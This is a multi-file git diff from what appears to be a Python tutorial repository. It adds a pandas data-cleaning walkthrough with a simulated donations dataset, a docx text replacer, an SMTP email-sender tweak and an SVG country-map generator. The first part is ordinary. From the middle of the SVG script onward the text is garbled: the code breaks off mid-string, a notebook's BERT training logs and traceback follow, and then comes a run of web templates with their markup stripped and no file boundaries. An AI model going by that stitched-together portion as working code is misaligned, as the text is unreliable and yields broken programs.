a/general/data-cleaning-pandas/README.md b/general/data-cleaning-pandas/README.md new file mode 100644 index 00000000..6b246374 --- /dev/null +++ b/general/data-cleaning-pandas/README.md @@ -0,0 +1 @@ +# [Data Cleaning with Pandas in Python](https://www.thepythoncode.com/article/data-cleaning-using-pandas-in-python) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning.py b/general/data-cleaning-pandas/data_cleaning.py new file mode 100644 index 00000000..7e03b3ef --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning.py @@ -0,0 +1,10 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +print(data_frames.head(10)) diff --git a/general/data-cleaning-pandas/data_cleaning2.py b/general/data-cleaning-pandas/data_cleaning2.py new file mode 100644 index 00000000..529cee6d --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning2.py @@ -0,0 +1,10 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +print(data_frames.info()) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning3.py b/general/data-cleaning-pandas/data_cleaning3.py new file mode 100644 index 00000000..1eb637fb --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning3.py @@ -0,0 +1,18 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + +print(data_frames.head(10)) +print(data_frames.info()) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning4.py b/general/data-cleaning-pandas/data_cleaning4.py new file mode 100644 index 00000000..3ca8b4d8 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning4.py @@ -0,0 +1,32 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Capitalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def capitalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = word.capitalize() + +data_frames['street_address'].apply(lambda x: capitalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + +print(data_frames['street_address']) diff --git a/general/data-cleaning-pandas/data_cleaning5.py b/general/data-cleaning-pandas/data_cleaning5.py new file mode 100644 index 00000000..ad8066d4 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning5.py @@ -0,0 +1,41 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + +print(data_frames.head(10)) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning6.py b/general/data-cleaning-pandas/data_cleaning6.py new file mode 100644 index 00000000..91d10af0 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning6.py @@ -0,0 +1,49 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + + +# Remove Out-of-Range Data +# create boolean Series for out of range donations +out_of_range = data_frames['donation'] < 0 + +# keep only the rows that are NOT out of range +data_frames['donation'] = data_frames['donation'][~out_of_range] + +print(data_frames.head(10)) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning7.py b/general/data-cleaning-pandas/data_cleaning7.py new file mode 100644 index 00000000..639f0c60 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning7.py @@ -0,0 +1,54 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + + +# Remove Out-of-Range Data +# create boolean Series for out of range donations +out_of_range = data_frames['donation'] < 0 + +# keep only the rows that are NOT out of range +data_frames['donation'] = data_frames['donation'][~out_of_range] + + +# Remove duplicates +columns_to_check = ['first_name', 'last_name', 'street_address', 'city', 'state'] +data_frames_no_dupes = data_frames.drop_duplicates(subset=columns_to_check, keep='first') + +print(data_frames_no_dupes.info()) diff --git a/general/data-cleaning-pandas/data_cleaning8.py b/general/data-cleaning-pandas/data_cleaning8.py new file mode 100644 index 00000000..5fe0b7f5 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning8.py @@ -0,0 +1,60 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + + +# Remove Out-of-Range Data +# create boolean Series for out of range donations +out_of_range = data_frames['donation'] < 0 + +# keep only the rows that are NOT out of range +data_frames['donation'] = data_frames['donation'][~out_of_range] + + +# Remove duplicates +columns_to_check = ['first_name', 'last_name', 'street_address', 'city', 'state'] +data_frames_no_dupes = data_frames.drop_duplicates(subset=columns_to_check, keep='first') + + +# Drop Missing Data +columns_to_check = ['state', 'donation'] +data_frames_no_missing = data_frames_no_dupes.dropna(subset=columns_to_check) + + +print(data_frames_no_missing.head(20)) diff --git a/general/data-cleaning-pandas/data_cleaning9.py b/general/data-cleaning-pandas/data_cleaning9.py new file mode 100644 index 00000000..e61440b7 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning9.py @@ -0,0 +1,59 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + + +# Remove Out-of-Range Data +# create boolean Series for out of range donations +out_of_range = data_frames['donation'] < 0 + +# keep only the rows that are NOT out of range +data_frames['donation'] = data_frames['donation'][~out_of_range] + + +# Remove duplicates +columns_to_check = ['first_name', 'last_name', 'street_address', 'city', 'state'] +data_frames_no_dupes = data_frames.drop_duplicates(subset=columns_to_check, keep='first') + + +# Drop Missing Data +columns_to_check = ['state', 'donation'] +data_frames_no_missing = data_frames_no_dupes.dropna(subset=columns_to_check) + + +print(data_frames_no_missing.head(20)) + + +data_frames_no_missing.to_csv(r'clean_donations_data.csv', index = False) \ No newline at end of file diff --git a/general/data-cleaning-pandas/helpers.py b/general/data-cleaning-pandas/helpers.py new file mode 100644 index 00000000..a65f889f --- /dev/null +++ b/general/data-cleaning-pandas/helpers.py @@ -0,0 +1,71 @@ +import random + +def add_donations(rows): + total_donations = len(rows) + donations = [] + + # create list of random donation values + donations = list_of_donations(total_donations) + + # add donations onto main records + count = 0 + while count < total_donations: + rows[count].append(donations[count]) + count += 1 + + +def create_row_base(): + first_name_options = ['Rosemaria', 'Jodi', 'Alvy', 'Blake', 'Ellis', ''] + last_name_options = ['Roderick', 'Hesbrook', 'Summerton', 'Rappport', 'Alben', ''] + city_options = ['Hialeah', 'Arlington', 'Springfield', 'Carrollton', 'Cambridge', ''] + state_options = ['CT', 'NY', 'VA', 'WA', 'AZ', ''] + + first_name = random.choice(first_name_options) + last_name = random.choice(last_name_options) + street = street_address() + city = random.choice(city_options) + state = random.choice(state_options) + + return [ + first_name, + last_name, + street, + city, + state + ] + + +def list_of_donations(size): + donations = [] + + donation_amt = random_dollar_amt() + for i in range(size): + # randomly change donation value + if random.choice([1, 2, 3, 4, 5]) > 1: + donation_amt = random_dollar_amt() + donations.append(donation_amt) + + return donations + + +def random_dollar_amt(): + dollars = random.randint(-50, 200) + cents = random.randint(0, 99) + return '${}.{}'.format(dollars, cents) + + +def scramble_capitalization(str): + final_str = '' + for letter in str: + final_str += random.choice([letter.upper(), letter.lower()]) + return final_str + + +def street_address(): + num = random.randint(40,1001) + road_name = random.choice(['Western Plank', 'Forest Run', 'Kings', 'Oaktree']) + road_type = random.choice(['Street', 'St', 'Road', 'Rd', '']) + + address = '{} {} {}'.format(num, road_name, road_type) + return address + diff --git a/general/data-cleaning-pandas/requirements.txt b/general/data-cleaning-pandas/requirements.txt new file mode 100644 index 00000000..1411a4a0 --- /dev/null +++ b/general/data-cleaning-pandas/requirements.txt @@ -0,0 +1 @@ +pandas \ No newline at end of file diff --git a/general/data-cleaning-pandas/simulator.py b/general/data-cleaning-pandas/simulator.py new file mode 100644 index 00000000..44927739 --- /dev/null +++ b/general/data-cleaning-pandas/simulator.py @@ -0,0 +1,33 @@ +import csv +import random +import helpers + +def generate_dataset(): + rows = [] + count = 0 + + # generate list of base records: names data + address data + while count < 20: + row_to_add = helpers.create_row_base() + rows.append(row_to_add) + + # randomly add duplicate records + if random.choice([1, 2, 3, 4, 5]) > 2: + rows.append(row_to_add.copy()) + # scramble formatting of street address + rows[-1][2] = helpers.scramble_capitalization(rows[-1][2]) + count += 1 + + # add donation amounts to each record + helpers.add_donations(rows) + + return rows + + +with open('simulated_data.csv', 'w') as f: + f_csv = csv.writer(f) + + # write headers first + f_csv.writerow(['first_name','last_name','street_address', + 'city','state', 'donation']) + f_csv.writerows(generate_dataset()) \ No newline at end of file diff --git a/general/docx-file-replacer/README.md b/general/docx-file-replacer/README.md new file mode 100644 index 00000000..7bd54b81 --- /dev/null +++ b/general/docx-file-replacer/README.md @@ -0,0 +1,3 @@ +# [How to Replace Text in Docx Files in Python](https://www.thepythoncode.com/article/replace-text-in-docx-files-using-python) +To run this: +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/general/docx-file-replacer/doc.docx b/general/docx-file-replacer/doc.docx new file mode 100644 index 00000000..90633422 Binary files /dev/null and b/general/docx-file-replacer/doc.docx differ diff --git a/general/docx-file-replacer/docx_text_replacer.py b/general/docx-file-replacer/docx_text_replacer.py new file mode 100644 index 00000000..55c09da7 --- /dev/null +++ b/general/docx-file-replacer/docx_text_replacer.py @@ -0,0 +1,58 @@ +# Import re for regex functions +import re + +# Import sys for getting the command line arguments +import sys + +# Import docx to work with .docx files. +# Must be installed: pip install python-docx +from docx import Document + +# Check if Command Line Arguments are passed. +if len(sys.argv) < 3: + print('Not Enough arguments where supplied') + sys.exit() + +# Check if replacers are in a valid schema +for replaceArg in sys.argv[2:]: + if len(replaceArg.split('=')) != 2: + print('Faulty replace argument given') + print('-> ', replaceArg) + sys.exit() + +# Store file path from CL Arguments. +file_path = sys.argv[1] + +if file_path.endswith('.docx'): + doc = Document(file_path) + # Loop through replacer arguments + occurences = {} + for replaceArgs in sys.argv[2:]: + # split the word=replacedword into a list + replaceArg = replaceArgs.split('=') + # initialize the number of occurences of this word to 0 + occurences[replaceArg[0]] = 0 + # Loop through paragraphs + for para in doc.paragraphs: + # Loop through runs (style spans) + for run in para.runs: + # if there is text on this run, replace it + if run.text: + # get the replacement text + replaced_text = re.sub(replaceArg[0], replaceArg[1], run.text, 999) + if replaced_text != run.text: + # if the replaced text is not the same as the original + # replace the text and increment the number of occurences + run.text = replaced_text + occurences[replaceArg[0]] += 1 + + # print the number of occurences of each word + for word, count in occurences.items(): + print(f"The word {word} was found and replaced {count} times.") + + # make a new file name by adding "_new" to the original file name + new_file_path = file_path.replace(".docx", "_new.docx") + # save the new docx file + doc.save(new_file_path) +else: + print('The file type is invalid, only .docx are supported') diff --git a/general/docx-file-replacer/requirements.txt b/general/docx-file-replacer/requirements.txt new file mode 100644 index 00000000..31245b28 --- /dev/null +++ b/general/docx-file-replacer/requirements.txt @@ -0,0 +1 @@ +python-docx \ No newline at end of file diff --git a/general/email-sender/email_sender.py b/general/email-sender/email_sender.py index 5fd7b9eb..70deae7e 100644 --- a/general/email-sender/email_sender.py +++ b/general/email-sender/email_sender.py @@ -5,7 +5,8 @@ def send_mail(email, password, FROM, TO, msg): # initialize the SMTP server - server = smtplib.SMTP("smtp.gmail.com", 587) + # in our case it's for Microsoft365, Outlook, Hotmail, and live.com + server = smtplib.SMTP(host="smtp.office365.com", port=587) # connect to the SMTP server as TLS mode (secure) and send EHLO server.starttls() # login to the account using the credentials @@ -20,7 +21,7 @@ def send_mail(email, password, FROM, TO, msg): password = "password" # the sender's email -FROM = "email@example.com" +FROM = email # the receiver's email TO = "to@example.com" # the subject of the email (subject) diff --git a/general/email-sender/email_sender_with_attachments.py b/general/email-sender/email_sender_with_attachments.py index 148f13e3..e9dd65ec 100644 --- a/general/email-sender/email_sender_with_attachments.py +++ b/general/email-sender/email_sender_with_attachments.py @@ -15,7 +15,8 @@ def send_mail(email, password, FROM, TO, msg): # initialize the SMTP server - server = smtplib.SMTP("smtp.gmail.com", 587) + # in our case it's for Microsoft365, Outlook, Hotmail, and live.com + server = smtplib.SMTP(host="smtp.office365.com", port=587) # connect to the SMTP server as TLS mode (secure) and send EHLO server.starttls() # login to the account using the credentials @@ -30,7 +31,7 @@ def send_mail(email, password, FROM, TO, msg): password = "password" # the sender's email -FROM = "email@example.com" +FROM = email # the receiver's email TO = "to@example.com" # the subject of the email (subject) diff --git a/general/generate-svg-country-map/README.md b/general/generate-svg-country-map/README.md new file mode 100644 index 00000000..f5424119 --- /dev/null +++ b/general/generate-svg-country-map/README.md @@ -0,0 +1 @@ +# [How to Generate SVG Country Maps in Python](https://www.thepythoncode.com/article/generate-svg-country-maps-python) \ No newline at end of file diff --git a/general/generate-svg-country-map/requirements.txt b/general/generate-svg-country-map/requirements.txt new file mode 100644 index 00000000..dd88e750 --- /dev/null +++ b/general/generate-svg-country-map/requirements.txt @@ -0,0 +1 @@ +pycountry \ No newline at end of file diff --git a/general/generate-svg-country-map/svg_country_maps.py b/general/generate-svg-country-map/svg_country_maps.py new file mode 100644 index 00000000..7a513c2f --- /dev/null +++ b/general/generate-svg-country-map/svg_country_maps.py @@ -0,0 +1,100 @@ +# Default Library +import requests +import json +import os + +# Download with pip install pycountry +import pycountry + +for country in list(pycountry.countries): + + # All Points from all Groups + # used to analyze + allPoints = [] + + # Countries that dont consist of one body + # will have multiple groups of coordinates + pointGroups = [] + + # Country Code with 3 letters + countryCode = country.alpha_3 + countryName = country.name + + # Check if the SVG file already Exists and skip if it does + if os.path.exists(f'output/{countryName}.svg'): + print(f'{countryName}.svg Already exists ... Skipping to next Country\n') + continue + + print('Generating Map for: ', countryName) + + # Get the Data + re = requests.get(f'https://geodata.ucdavis.edu/gadm/gadm4.1/json/gadm41_{countryCode}_0.json') + + # If the string cant be parsed an invalid country was requested + try: + data = json.loads(re.text) + except json.decoder.JSONDecodeError: + print('Could not decode ... Skipping to next Country\n') + continue + + # Organise the Data + # Get the groups and all coordinates + for i in data['features'][0]['geometry']['coordinates']: + for group in i: + pointGroups.append(group) + for coord in group: + allPoints.append(coord) + + print(f'\n{len(allPoints)} Points') + + # Analyse Data + # Use these Information to calculate + # offset, height and width of the Country + lowestX = 9999999999 + highestX = -9999999999 + + lowestY = 9999999999 + highestY = -9999999999 + + for x, y in allPoints: + lowestX = x if x < lowestX else lowestX + highestX = x if x > highestX else highestX + + lowestY = y if y < lowestY else lowestY + highestY = y if y > highestY else highestY + + print('lowestX', lowestX) + print('highestX', highestX) + + print('lowestY', lowestY) + print('highestY', highestY) + + svgWidth = (highestX - lowestX) + svgHeight = (highestY - lowestY) + + # Transfrom Points to Polygon Strings + polygonString = '' + for group in pointGroups: + coordinateString = '' + for x, y in group: + x = (x - lowestX) + y = (y - lowestY) + + coordinateString = coordinateString + f'{x},{y} ' + + polygonString += f'| Step | \n", + "Training Loss | \n", + "Validation Loss | \n", + "
|---|---|---|
| 1000 | \n", + "6.860800 | \n", + "6.550845 | \n", + "
| 2000 | \n", + "6.518700 | \n", + "6.451167 | \n", + "
| 3000 | \n", + "6.431700 | \n", + "6.387487 | \n", + "
| 4000 | \n", + "6.376600 | \n", + "6.341373 | \n", + "
| 5000 | \n", + "6.332300 | \n", + "6.307063 | \n", + "
\n", + "
| Step | \n", + "Training Loss | \n", + "Validation Loss | \n", + "
|---|---|---|
| 1000 | \n", + "6.860800 | \n", + "6.550845 | \n", + "
| 2000 | \n", + "6.518700 | \n", + "6.451167 | \n", + "
| 3000 | \n", + "6.431700 | \n", + "6.387487 | \n", + "
| 4000 | \n", + "6.376600 | \n", + "6.341373 | \n", + "
| 5000 | \n", + "6.332300 | \n", + "6.307063 | \n", + "
| 6000 | \n", + "6.298900 | \n", + "6.275374 | \n", + "
"
+ ]
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "Saving model checkpoint to pretrained-bert/checkpoint-6000\n",
+ "Configuration saved in pretrained-bert/checkpoint-6000/config.json\n",
+ "Model weights saved in pretrained-bert/checkpoint-6000/pytorch_model.bin\n"
+ ]
+ },
+ {
+ "output_type": "error",
+ "ename": "KeyboardInterrupt",
+ "evalue": "ignored",
+ "traceback": [
+ "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m",
+ "\u001b[0;31mKeyboardInterrupt\u001b[0m Traceback (most recent call last)",
+ "\u001b[0;32m Make sure you are connected to the internet or you are entering a valid city name {{ meanings }} Antonyms:{{ antonym }} Synonyms:{{ synonym }}
+
+
Author: {{ book.author }}
+ ISBN: {{ book.isbn }}
+ Price: {{ book.price }}
+ Edit Book
+ Delete Book
+ Book's ISBN: {{ isbn }}
+Welcome to our bookshop!
+
+
+
+
+
+
+
+ {% for book in books %}
+ ISBN
+ Author
+ Title
+ Price
+ Action
+
+
+ {% endfor %}
+
+ {{ book.isbn }}
+ {{ book.author }}
+ {{ book.title }}
+ {{ book.price }}
+
+
+
+
+
+
+
+
+
+
+
+
+ Hello {{user}}
+ This is a simple site
+
+ Simple site
+
+ Log in
+
+ Sign up
+
+Page Not Found
+ Weather Update App
+
+
+ {{ city_weather_update.city }} {{ city_weather_update.country_code }}
{{ city_weather_update.temperature }}
{{ city_weather_update.description | title }}
{{ city_weather_update.wind }}
{{ city_weather_update.humidity }}
ThePythonCode.com Dictionary
+ {{ word }}
+
+
+
+
+
+
+
+Email Verifier
+
+
+
+ {% if messages %}
+ {% for message in messages %}
+ {% if message.tags == 'success' %}
+
+ {% elif message.tags == 'warning' %}
+